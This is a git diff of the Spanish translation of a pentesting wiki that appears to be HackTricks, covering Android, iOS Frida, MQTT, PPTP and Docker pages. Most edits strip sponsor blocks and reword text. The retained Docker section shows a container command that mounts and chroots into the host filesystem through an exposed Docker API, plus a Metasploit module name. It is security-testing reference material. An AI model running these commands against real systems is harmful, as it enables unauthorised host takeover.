embargo, hay formas de **reducir estos riesgos** a través de **configuraciones** específicas. +WebViews son como **mini navegadores web** dentro de aplicaciones Android, extrayendo contenido ya sea de la web o de archivos locales. Enfrentan riesgos similares a los de los navegadores regulares, sin embargo, hay formas de **reducir estos riesgos** a través de **configuraciones** específicas. Android ofrece dos tipos principales de WebView: @@ -354,7 +346,7 @@ Un punto clave es que los navegadores WebView **no comparten cookies** con el na Para cargar contenido, están disponibles métodos como ````loadUrl````, ````loadData````, y ````loadDataWithBaseURL````. Es crucial asegurarse de que estas URLs o archivos sean **seguros para usar**. Las configuraciones de seguridad se pueden gestionar a través de la clase ````WebSettings````. Por ejemplo, deshabilitar JavaScript con ````setJavaScriptEnabled(false)```` puede prevenir ataques XSS. -El "Puente" de JavaScript permite que los objetos Java interactúen con JavaScript, requiriendo que los métodos sean marcados con ````@JavascriptInterface```` para seguridad desde Android 4.2 en adelante. +El "Bridge" de JavaScript permite que los objetos Java interactúen con JavaScript, requiriendo que los métodos estén marcados con ````@JavascriptInterface```` para seguridad desde Android 4.2 en adelante. Permitir el acceso al contenido (````setAllowContentAccess(true)````) permite que los WebViews accedan a Content Providers, lo que podría ser un riesgo a menos que las URLs de contenido sean verificadas como seguras. @@ -365,7 +357,7 @@ Para controlar el acceso a archivos: ### **Firma Digital de Aplicaciones** -- **La firma digital** es imprescindible para las aplicaciones Android, asegurando que sean **auténticamente creadas** antes de la instalación. Este proceso utiliza un certificado para la identificación de la aplicación y debe ser verificado por el administrador de paquetes del dispositivo al momento de la instalación. Las aplicaciones pueden ser **autofirmadas o certificadas por una CA externa**, protegiendo contra accesos no autorizados y asegurando que la aplicación permanezca sin alteraciones durante su entrega al dispositivo. +- La **firma digital** es imprescindible para las aplicaciones Android, asegurando que sean **auténticamente creadas** antes de la instalación. Este proceso utiliza un certificado para la identificación de la aplicación y debe ser verificado por el administrador de paquetes del dispositivo al momento de la instalación. Las aplicaciones pueden ser **autofirmadas o certificadas por una CA externa**, protegiendo contra accesos no autorizados y asegurando que la aplicación permanezca sin alteraciones durante su entrega al dispositivo. ### **Verificación de Aplicaciones para Mayor Seguridad** @@ -373,7 +365,7 @@ Para controlar el acceso a archivos: ### **Gestión de Dispositivos Móviles (MDM)** -- **Las soluciones MDM** proporcionan **supervisión y seguridad** para dispositivos móviles a través de la **API de Administración de Dispositivos**. Necesitan la instalación de una aplicación Android para gestionar y asegurar dispositivos móviles de manera efectiva. Las funciones clave incluyen **hacer cumplir políticas de contraseñas**, **exigir cifrado de almacenamiento**, y **permitir el borrado remoto de datos**, asegurando un control y seguridad completos sobre los dispositivos móviles. +- Las **soluciones MDM** proporcionan **supervisión y seguridad** para dispositivos móviles a través de la **API de Administración de Dispositivos**. Necesitan la instalación de una aplicación Android para gestionar y asegurar dispositivos móviles de manera efectiva. Las funciones clave incluyen **hacer cumplir políticas de contraseñas**, **exigir cifrado de almacenamiento**, y **permitir el borrado remoto de datos**, asegurando un control y seguridad completos sobre los dispositivos móviles. ```java // Example of enforcing a password policy with MDM DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE); @@ -384,12 +376,6 @@ if (dpm.isAdminActive(adminComponent)) { dpm.setPasswordMinimumLength(adminComponent, 8); } ``` -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/mobile-pentesting/android-app-pentesting/android-task-hijacking.md b/mobile-pentesting/android-app-pentesting/android-task-hijacking.md index bbbf1754f..2e510483e 100644 --- a/mobile-pentesting/android-app-pentesting/android-task-hijacking.md +++ b/mobile-pentesting/android-app-pentesting/android-task-hijacking.md @@ -15,14 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Tarea, Pila de Fondo y Actividades en Primer Plano En Android, una **tarea** es esencialmente un conjunto de actividades con las que los usuarios interactúan para completar un trabajo específico, organizadas dentro de una **pila de fondo**. Esta pila ordena las actividades según cuándo fueron abiertas, con la actividad más reciente mostrada en la parte superior como la **actividad en primer plano**. En cualquier momento, solo esta actividad es visible en la pantalla, convirtiéndola en parte de la **tarea en primer plano**. @@ -51,7 +43,7 @@ El atributo `launchMode` dirige el manejo de instancias de actividad dentro de l 1. **Instalación de la aplicación maliciosa**: La víctima instala la aplicación del atacante en su dispositivo. 2. **Activación inicial**: La víctima abre primero la aplicación maliciosa, preparando el dispositivo para el ataque. 3. **Intento de lanzamiento de la aplicación objetivo**: La víctima intenta abrir la aplicación objetivo. -4. **Ejecución del secuestro**: Debido a la coincidencia de afinidad de tarea, se lanza la aplicación maliciosa en lugar de la aplicación objetivo. +4. **Ejecución del secuestro**: Debido a la coincidencia de afinidad de tarea, la aplicación maliciosa se lanza en lugar de la aplicación objetivo. 5. **Engaño**: La aplicación maliciosa presenta una pantalla de inicio de sesión falsa que se asemeja a la aplicación objetivo, engañando al usuario para que ingrese información sensible. Para una implementación práctica de este ataque, consulte el repositorio Task Hijacking Strandhogg en GitHub: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg). @@ -65,11 +57,6 @@ Para prevenir tales ataques, los desarrolladores pueden establecer `taskAffinity * [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/) * [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md b/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md index 343cecf86..8395deba5 100644 --- a/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md +++ b/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md @@ -13,14 +13,6 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - Algunas aplicaciones no aceptan certificados descargados por el usuario, por lo que para inspeccionar el tráfico web de algunas aplicaciones, en realidad tenemos que descompilar la aplicación, agregar algunas cosas y recompilarla. # Automático @@ -65,16 +57,16 @@ Luego guarda el archivo y sal de todos los directorios y reconstruye el apk con Finalmente, solo necesitas **firmar la nueva aplicación**. [Lee esta sección de la página Smali - Decompiling/\[Modifying\]/Compiling para aprender cómo firmarlo](smali-changes.md#sing-the-new-apk). {% hint style="success" %} -Aprende y practica AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprende y practica GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md b/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md index 3962a78f9..71e70dd11 100644 --- a/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md +++ b/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md @@ -15,23 +15,10 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) -
+**Para más información, consulta:** [**https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html) -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - -*** - -**Para más información consulta:** [**https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html) - -Las aplicaciones de Android pueden usar bibliotecas nativas, típicamente escritas en C o C++, para tareas críticas de rendimiento. Los creadores de malware también utilizan estas bibliotecas, ya que son más difíciles de desensamblar que el bytecode DEX. La sección enfatiza las habilidades de ingeniería inversa adaptadas a Android, en lugar de enseñar lenguajes de ensamblaje. Se proporcionan versiones ARM y x86 de las bibliotecas para compatibilidad. +Las aplicaciones de Android pueden usar bibliotecas nativas, típicamente escritas en C o C++, para tareas críticas de rendimiento. Los creadores de malware también utilizan estas bibliotecas, ya que son más difíciles de descompilar que el bytecode DEX. La sección enfatiza las habilidades de ingeniería inversa adaptadas a Android, en lugar de enseñar lenguajes de ensamblaje. Se proporcionan versiones ARM y x86 de las bibliotecas para compatibilidad. ### Puntos Clave: @@ -68,17 +55,6 @@ Las aplicaciones de Android pueden usar bibliotecas nativas, típicamente escrit * **Depuración de Bibliotecas Nativas:** * [Depurar Bibliotecas Nativas de Android Usando JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/mobile-pentesting/android-checklist.md b/mobile-pentesting/android-checklist.md index 599854e5d..9fc4c13db 100644 --- a/mobile-pentesting/android-checklist.md +++ b/mobile-pentesting/android-checklist.md @@ -15,17 +15,9 @@ Aprende y practica Hacking en GCP: {% endhint %} -**Grupo de Seguridad Try Hard** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ### [Aprender fundamentos de Android](android-app-pentesting/#2-android-application-fundamentals) -* [ ] [Fundamentos](android-app-pentesting/#fundamentals-review) +* [ ] [Conceptos básicos](android-app-pentesting/#fundamentals-review) * [ ] [Dalvik y Smali](android-app-pentesting/#dalvik--smali) * [ ] [Puntos de entrada](android-app-pentesting/#application-entry-points) * [ ] [Actividades](android-app-pentesting/#launcher-activity) @@ -39,7 +31,7 @@ Aprende y practica Hacking en GCP:
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/mobile-pentesting/ios-pentesting-checklist.md b/mobile-pentesting/ios-pentesting-checklist.md index d1bc20a14..b30726079 100644 --- a/mobile-pentesting/ios-pentesting-checklist.md +++ b/mobile-pentesting/ios-pentesting-checklist.md @@ -14,7 +14,7 @@ Aprende y practica Hacking en GCP: -Support HackTricks +Apoya a HackTricks * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** @@ -23,14 +23,6 @@ Aprende y practica Hacking en GCP: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ### Preparación * [ ] Lee [**iOS Basics**](ios-pentesting/ios-basics.md) @@ -39,7 +31,7 @@ Aprende y practica Hacking en GCP:
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +Apoya a HackTricks * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** diff --git a/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md b/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md index fc4a33ede..aa80c3578 100644 --- a/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md +++ b/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md @@ -10,25 +10,11 @@ Aprende y practica Hacking en GCP: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - -*** - ## Instalando Frida **Pasos para instalar Frida en un dispositivo con Jailbreak:** @@ -55,7 +41,7 @@ Instala **frida tools**: pip install frida-tools pip install frida ``` -Con el servidor Frida instalado y el dispositivo funcionando y conectado, **verifica** si el cliente está **funcionando**: +Con el servidor Frida instalado y el dispositivo en funcionamiento y conectado, **verifica** si el cliente está **funcionando**: ```bash frida-ls-devices # List devices frida-ps -Uia # Get running processes @@ -333,7 +319,7 @@ Para prevenir esto, por ejemplo, podríamos reiniciar la aplicación después de ### Logs & Crashes -Puedes revisar la **consola de macOS** o el cli de **`log`** para verificar los logs de macOS.\ +Puedes verificar la **consola de macOS** o el cli de **`log`** para revisar los logs de macOS.\ También puedes revisar los logs de iOS usando **`idevicesyslog`**.\ Algunos logs omitirán información añadiendo **``**. Para mostrar toda la información necesitas instalar algún perfil de [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/) para habilitar esa información privada. @@ -374,17 +360,6 @@ iOS solo almacena 25 fallos de la misma aplicación, por lo que necesitas limpia * [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware robador**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/network-services-pentesting/1723-pentesting-pptp.md b/network-services-pentesting/1723-pentesting-pptp.md index 9a66dd528..354e9b465 100644 --- a/network-services-pentesting/1723-pentesting-pptp.md +++ b/network-services-pentesting/1723-pentesting-pptp.md @@ -15,25 +15,12 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - -*** ## Información Básica -**Point-to-Point Tunneling Protocol (PPTP)** es un método ampliamente utilizado para **acceso remoto** a dispositivos móviles. Utiliza **TCP puerto 1723** para el intercambio de claves, mientras que **protocolo IP 47** (Encapsulación de Enrutamiento Genérico, o **GRE**), se utiliza para cifrar los datos que se transmiten entre pares. Esta configuración es crucial para establecer un canal de comunicación seguro a través de internet, asegurando que los datos intercambiados permanezcan confidenciales y protegidos contra accesos no autorizados. +**Point-to-Point Tunneling Protocol (PPTP)** es un método ampliamente utilizado para **acceso remoto** a dispositivos móviles. Utiliza **TCP puerto 1723** para el intercambio de claves, mientras que **IP protocolo 47** (Generic Routing Encapsulation, o **GRE**), se utiliza para cifrar los datos que se transmiten entre pares. Esta configuración es crucial para establecer un canal de comunicación seguro a través de internet, asegurando que los datos intercambiados permanezcan confidenciales y protegidos contra accesos no autorizados. -**Puerto Predeterminado**:1723 +**Puerto por Defecto**:1723 ## Enumeración ```bash diff --git a/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md b/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md index 0981ec97d..1bd29d4ad 100644 --- a/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md +++ b/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md @@ -15,23 +15,10 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - -*** ## Información Básica -**MQ Telemetry Transport (MQTT)** es conocido como un **protocolo de mensajería de publicación/suscripción** que se destaca por su extrema simplicidad y ligereza. Este protocolo está específicamente diseñado para entornos donde los dispositivos tienen capacidades limitadas y operan sobre redes caracterizadas por un bajo ancho de banda, alta latencia o conexiones poco fiables. Los objetivos principales de MQTT incluyen minimizar el uso del ancho de banda de la red y reducir la demanda sobre los recursos del dispositivo. Además, busca mantener una comunicación fiable y proporcionar un cierto nivel de garantía de entrega. Estos objetivos hacen que MQTT sea excepcionalmente adecuado para el creciente campo de la **comunicación máquina a máquina (M2M)** y el **Internet de las Cosas (IoT)**, donde es esencial conectar una multitud de dispositivos de manera eficiente. Además, MQTT es muy beneficioso para aplicaciones móviles, donde conservar el ancho de banda y la vida de la batería es crucial. +**MQ Telemetry Transport (MQTT)** es conocido como un **protocolo de mensajería de publicación/suscripción** que se destaca por su extrema simplicidad y ligereza. Este protocolo está específicamente diseñado para entornos donde los dispositivos tienen capacidades limitadas y operan sobre redes caracterizadas por un bajo ancho de banda, alta latencia o conexiones poco fiables. Los objetivos principales de MQTT incluyen minimizar el uso del ancho de banda de la red y reducir la demanda sobre los recursos del dispositivo. Además, busca mantener una comunicación fiable y proporcionar un cierto nivel de garantía de entrega. Estos objetivos hacen que MQTT sea excepcionalmente adecuado para el creciente campo de la **comunicación máquina a máquina (M2M)** y el **Internet de las Cosas (IoT)**, donde es esencial conectar de manera eficiente una multitud de dispositivos. Además, MQTT es muy beneficioso para aplicaciones móviles, donde conservar el ancho de banda y la vida de la batería es crucial. **Puerto por defecto:** 1883 ``` @@ -104,22 +91,22 @@ main() from here: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b) -### El patrón Publicar/Suscribir +### El Patrón Publicar/Suscribirse -El modelo de publicar/suscribir se compone de: +El modelo de publicar/suscribirse se compone de: * **Publicador**: publica un mensaje en uno (o varios) tema(s) en el broker. * **Suscriptor**: se suscribe a uno (o varios) tema(s) en el broker y recibe todos los mensajes enviados por el publicador. * **Broker**: enruta todos los mensajes de los publicadores a los suscriptores. * **Tema**: consiste en uno o más niveles que están separados por una barra diagonal (por ejemplo, /smartshouse/livingroom/temperature). -### Formato de Paquete +### Formato del Paquete Cada paquete MQTT contiene un encabezado fijo (Figura 02).Figura 02: Encabezado Fijo ![https://miro.medium.com/max/838/1\*k6RkAHEk0576geQGUcKSTA.png](https://miro.medium.com/max/838/1\*k6RkAHEk0576geQGUcKSTA.png) -### Tipos de Paquete +### Tipos de Paquetes * CONNECT (1): Iniciado por el cliente para solicitar una conexión al servidor. * CONNACK (2): El reconocimiento del servidor de una conexión exitosa. @@ -141,17 +128,6 @@ Cada paquete MQTT contiene un encabezado fijo (Figura 02).Figura 02: Encabezado * `port:1883 MQTT` -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware robador**. - -Su objetivo principal de WhiteIntel es combatir la toma de control de cuentas y ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/network-services-pentesting/2375-pentesting-docker.md b/network-services-pentesting/2375-pentesting-docker.md index 3243aac1a..abbefce91 100644 --- a/network-services-pentesting/2375-pentesting-docker.md +++ b/network-services-pentesting/2375-pentesting-docker.md @@ -15,31 +15,18 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - -*** ### Docker Basics #### What is -Docker es la **plataforma de vanguardia** en la **industria de la contenedorización**, liderando la **innovación continua**. Facilita la creación y distribución sin esfuerzo de aplicaciones, abarcando desde lo **tradicional hasta lo futurista**, y asegura su **despliegue seguro** en diversos entornos. +Docker es la **plataforma de vanguardia** en la **industria de la contenedorización**, liderando la **innovación continua**. Facilita la creación y distribución sin esfuerzo de aplicaciones, abarcando desde **tradicionales hasta futuristas**, y asegura su **despliegue seguro** en diversos entornos. #### Basic docker architecture -* [**containerd**](http://containerd.io): Este es un **runtime central** para contenedores, encargado de la **gestión integral del ciclo de vida de un contenedor**. Esto implica manejar la **transferencia y almacenamiento de imágenes**, además de supervisar la **ejecución, monitoreo y red** de los contenedores. **Más detalles** sobre containerd se **exploran más adelante**. -* El **container-shim** juega un papel crítico como **intermediario** en el manejo de **contenedores sin cabeza**, asumiendo sin problemas el control de **runc** después de que los contenedores son inicializados. -* [**runc**](http://runc.io): Reconocido por sus capacidades de **runtime de contenedor ligero y universal**, runc está alineado con el **estándar OCI**. Es utilizado por containerd para **iniciar y gestionar contenedores** de acuerdo con las **directrices OCI**, habiendo evolucionado del original **libcontainer**. +* [**containerd**](http://containerd.io): Este es un **runtime central** para contenedores, encargado de la **gestión integral del ciclo de vida de un contenedor**. Esto implica manejar la **transferencia y almacenamiento de imágenes**, además de supervisar la **ejecución, monitoreo y red** de los contenedores. **Más detalles** sobre containerd se **exploran más a fondo**. +* El **container-shim** juega un papel crítico como un **intermediario** en el manejo de **contenedores sin cabeza**, asumiendo sin problemas el control de **runc** después de que los contenedores son inicializados. +* [**runc**](http://runc.io): Reconocido por sus capacidades de **runtime de contenedor ligero y universal**, runc está alineado con el **estándar OCI**. Es utilizado por containerd para **iniciar y gestionar contenedores** de acuerdo con las **directrices OCI**, habiendo evolucionado a partir del original **libcontainer**. * [**grpc**](http://www.grpc.io) es esencial para **facilitar la comunicación** entre containerd y el **docker-engine**, asegurando una **interacción eficiente**. * El [**OCI**](https://www.opencontainers.org) es fundamental para mantener las **especificaciones OCI** para runtime e imágenes, siendo las últimas versiones de Docker **compatibles con los estándares de imagen y runtime OCI**. @@ -68,7 +55,7 @@ docker system prune -a ``` #### Containerd -**Containerd** fue desarrollado específicamente para satisfacer las necesidades de plataformas de contenedores como **Docker y Kubernetes**, entre otras. Su objetivo es **simplificar la ejecución de contenedores** en varios sistemas operativos, incluyendo Linux, Windows, Solaris y más, al abstraer la funcionalidad específica del sistema operativo y las llamadas al sistema. El objetivo de Containerd es incluir solo las características esenciales requeridas por sus usuarios, esforzándose por omitir componentes innecesarios. Sin embargo, se reconoce que lograr este objetivo por completo es un desafío. +**Containerd** fue desarrollado específicamente para satisfacer las necesidades de plataformas de contenedores como **Docker y Kubernetes**, entre otras. Su objetivo es **simplificar la ejecución de contenedores** en varios sistemas operativos, incluyendo Linux, Windows, Solaris y más, al abstraer la funcionalidad específica del sistema operativo y las llamadas al sistema. La meta de Containerd es incluir solo las características esenciales requeridas por sus usuarios, esforzándose por omitir componentes innecesarios. Sin embargo, lograr este objetivo por completo se reconoce como un desafío. Una decisión clave de diseño es que **Containerd no maneja la red**. La red se considera un elemento crítico en sistemas distribuidos, con complejidades como la Red Definida por Software (SDN) y el descubrimiento de servicios que varían significativamente de una plataforma a otra. Por lo tanto, Containerd deja los aspectos de red para ser gestionados por las plataformas que soporta. @@ -90,7 +77,7 @@ ctr container delete ``` #### Podman -**Podman** es un motor de contenedores de código abierto que se adhiere a los [estándares de Open Container Initiative (OCI)](https://github.com/opencontainers), desarrollado y mantenido por Red Hat. Se destaca de Docker con varias características distintas, notablemente su **arquitectura sin demonio** y soporte para **contenedores sin privilegios de root**, lo que permite a los usuarios ejecutar contenedores sin privilegios de root. +**Podman** es un motor de contenedores de código abierto que se adhiere a los [estándares de la Open Container Initiative (OCI)](https://github.com/opencontainers), desarrollado y mantenido por Red Hat. Se destaca de Docker con varias características distintas, notablemente su **arquitectura sin demonio** y soporte para **contenedores sin privilegios de root**, lo que permite a los usuarios ejecutar contenedores sin privilegios de root. Podman está diseñado para ser compatible con la API de Docker, lo que permite el uso de comandos de la CLI de Docker. Esta compatibilidad se extiende a su ecosistema, que incluye herramientas como **Buildah** para construir imágenes de contenedores y **Skopeo** para operaciones de imágenes como push, pull e inspect. Más detalles sobre estas herramientas se pueden encontrar en su [página de GitHub](https://github.com/containers/buildah/tree/master/docs/containertools). @@ -103,7 +90,7 @@ Podman está diseñado para ser compatible con la API de Docker, lo que permite El enfoque de Podman ofrece una alternativa segura y flexible a Docker, enfatizando la gestión de privilegios de usuario y la compatibilidad con flujos de trabajo existentes de Docker. {% hint style="info" %} -Tenga en cuenta que, dado que podman busca soportar la misma API que docker, puede usar los mismos comandos con podman que con docker, tales como: +Nota que, dado que podman busca soportar la misma API que docker, puedes usar los mismos comandos con podman que con docker, tales como: ```bash podman --version podman info @@ -161,7 +148,7 @@ docker-init: Version: 0.18.0 GitCommit: fec3683 ``` -Si puedes **contactar la API remota de docker con el `docker` command** puedes **ejecutar** cualquiera de los **docker** [**comandos previamente** comentados](2375-pentesting-docker.md#basic-commands) para interactuar con el servicio. +Si puedes **contactar la API remota de docker con el `docker` command** puedes **ejecutar** cualquiera de los **docker** [**comandos comentados previamente**](2375-pentesting-docker.md#basic-commands) para interactuar con el servicio. {% hint style="info" %} Puedes `export DOCKER_HOST="tcp://localhost:2375"` y **evitar** usar el parámetro `-H` con el comando docker @@ -173,7 +160,7 @@ docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash ``` **Curl** -A veces verás **2376** disponible para el endpoint **TLS**. No he podido conectarme a él con el cliente de docker, pero es posible hacerlo con curl. +A veces verás **2376** disponible para el **TLS** endpoint. No he podido conectarme a él con el cliente de docker, pero es posible hacerlo con curl. ```bash #List containers curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq @@ -210,7 +197,7 @@ Si deseas más información sobre esto, hay más información disponible de dond msf> use exploit/linux/http/docker_daemon_tcp nmap -sV --script "docker-*" -p ``` -### Comprometiendo +### Compromiso En la siguiente página puedes encontrar formas de **escapar de un contenedor de docker**: @@ -254,7 +241,7 @@ docker cp :/etc/ * `./docker-bench-security.sh` * Puedes usar la herramienta [https://github.com/kost/dockscan](https://github.com/kost/dockscan) para inspeccionar tu 